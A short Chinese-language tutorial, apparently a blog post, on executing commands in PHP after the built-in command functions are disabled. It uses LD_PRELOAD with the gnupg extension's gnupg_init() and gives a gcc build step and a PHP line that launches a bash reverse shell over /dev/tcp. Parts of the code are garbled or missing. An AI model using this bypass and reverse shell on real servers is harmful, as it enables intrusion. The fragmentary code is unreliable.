简述
命令执行一般都用php自带的函数来进行执行,但是很多时候运维或者搞安全的会禁用这些用不到的函数来加固,包括一些CTF也是禁用一些函数来考察你的绕过能力,这时候就需要你对常见的函数绕过进行一些了解,本文就是总结下php在所有自带命令执行函数被禁后的其他操作.
常见的自带系统命令执行函数
1 | ` ` //反引号 |
使用LD_PRELOAD 绕过
gnupg扩展
如果看到phpinfo中有gnupg苦熬站,说明可以使用gpg加密,gnupg拓展下的gnupg_init() 函数 可以进行命令执行 bypass
1 |
|
本地把以上代码生成 exp.so, gcc --share -fPIC exp.c -o exp.so
然后上传文件到 /tmp/exp.so
通过php代码进行利用
1 | "cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init(); putenv( |
这样就可以反弹shell了.
——————————————————————–未完待续——————————————————————————–